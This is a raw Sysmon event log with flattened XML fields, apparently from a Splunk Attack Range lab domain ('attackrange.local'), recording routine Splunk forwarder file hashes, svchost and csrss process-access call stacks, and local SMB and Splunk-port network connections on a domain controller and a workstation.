14:53:30.732{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=91BDBFCE119D993E90554BB5E283B708,SHA256=A0A3FBB682C9F454F69E150714ABC7CA77E9CB325534BAA6204B15CD1D49B125,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047841Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:30.732{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=A7D2666EC82B0541AD68E20A49D022CB,SHA256=656AA0175D1D528E105F4AD362DE0908CF65FA1FBD1CEA14FFD4BB7B48A0150A,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000047849Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:31.830{7BD73061-65B2-613B-1600-00000000F001}12964128C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2800-00000000F001}2860C:\Windows\system32\DFSRs.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\wbem\wmiprvsd.dll+2a2f2|C:\Windows\system32\wbem\wmiprvsd.dll+29e26|C:\Windows\system32\wbem\wmiprvsd.dll+28432|C:\Windows\system32\wbem\wmiprvsd.dll+57817|C:\Windows\system32\wbem\wmiprvsd.dll+8a475|C:\Windows\system32\wbem\wbemcore.dll+bcb3|C:\Windows\system32\wbem\wbemcore.dll+3393|C:\Windows\system32\wbem\wbemcore.dll+22adf|C:\Windows\system32\wbem\wbemcore.dll+22a19|C:\Windows\system32\wbem\wbemcore.dll+21f5a|C:\Windows\system32\wbem\wbemcore.dll+2c9be|C:\Windows\system32\wbem\wbemcore.dll+202d8|C:\Windows\system32\wbem\wbemcore.dll+390e|C:\Windows\system32\wbem\wbemcore.dll+22bba|C:\Windows\system32\wbem\wbemcore.dll+22a19|C:\Windows\system32\wbem\wbemcore.dll+21f5a|C:\Windows\system32\wbem\wbemcore.dll+22711|C:\Windows\system32\wbem\wbemcore.dll+2d78c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047848Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:31.830{7BD73061-65B2-613B-1600-00000000F001}12964128C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2800-00000000F001}2860C:\Windows\system32\DFSRs.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\wbem\wmiprvsd.dll+2597b|C:\Windows\system32\wbem\wmiprvsd.dll+283dc|C:\Windows\system32\wbem\wmiprvsd.dll+57817|C:\Windows\system32\wbem\wmiprvsd.dll+8a475|C:\Windows\system32\wbem\wbemcore.dll+bcb3|C:\Windows\system32\wbem\wbemcore.dll+3393|C:\Windows\system32\wbem\wbemcore.dll+22adf|C:\Windows\system32\wbem\wbemcore.dll+22a19|C:\Windows\system32\wbem\wbemcore.dll+21f5a|C:\Windows\system32\wbem\wbemcore.dll+2c9be|C:\Windows\system32\wbem\wbemcore.dll+202d8|C:\Windows\system32\wbem\wbemcore.dll+390e|C:\Windows\system32\wbem\wbemcore.dll+22bba|C:\Windows\system32\wbem\wbemcore.dll+22a19|C:\Windows\system32\wbem\wbemcore.dll+21f5a|C:\Windows\system32\wbem\wbemcore.dll+22711|C:\Windows\system32\wbem\wbemcore.dll+2d78c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000047847Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:31.752{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4C9B6B6D907B1CE3278F8BB350F30DFF,SHA256=A65F1815D6C4BABE3F2A0B424B4D1B563DBD4FD4AD2A3AE9D2EEB8C8CF4D4370,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000015464Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:31.753{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-716B-613B-D404-00000000F101}3788C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015463Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:31.753{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015462Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:31.753{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015461Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:31.753{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015460Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:31.753{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015459Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:31.753{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015458Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:31.753{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015457Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:31.753{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015456Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:31.753{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015455Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:31.753{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015454Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:31.753{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-716B-613B-D404-00000000F101}3788C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000015453Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:31.753{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-716B-613B-D404-00000000F101}3788C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000015452Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:31.753{625C326B-716B-613B-D404-00000000F101}3788C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000015451Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:31.315{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B46763C4B419C86310E90AFC37897A0F,SHA256=5C53EAE690DF94259F0A4A4D1121145F3F482EE449ED86437291FC75ED2185F5,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000047846Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:29.012{7BD73061-65AD-613B-0100-00000000F001}4SystemNT AUTHORITY\SYSTEMtcpfalsetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local59421-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local445microsoft-ds 354300x800000000000000047845Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:29.012{7BD73061-65AD-613B-0100-00000000F001}4SystemNT AUTHORITY\SYSTEMtcptruetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local59421-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local445microsoft-ds 354300x800000000000000047844Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:28.995{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59420-false10.0.1.12-8089- 23542300x800000000000000047852Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:32.877{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=152EAE1497ECBA9893CA0602DBDCB2E1,SHA256=3BC2E31081579122C6389BCFA355A292498BA3C13C722438C1DA7E8526B30B5D,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000047851Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:30.516{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59422-false10.0.1.12-8000- 23542300x800000000000000015494Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:32.768{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=81459FC7848FE3F9476FC15F139CF6AF,SHA256=F4E7E23B7030F5DB1D5C8B5A89E8E5FD32574A25CFDD3965690DBD443F2356F0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015493Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:32.768{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=909570911A169F13528002652AB1BB7A,SHA256=956B395E27D51F106958FDAC1F3C4F6978963801A1F640F9DC04FC93D3D12966,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000015492Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:32.753{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-716C-613B-D604-00000000F101}3328C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015491Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:32.753{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015490Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:32.753{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015489Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:32.753{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015488Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:32.753{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015487Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:32.753{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015486Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 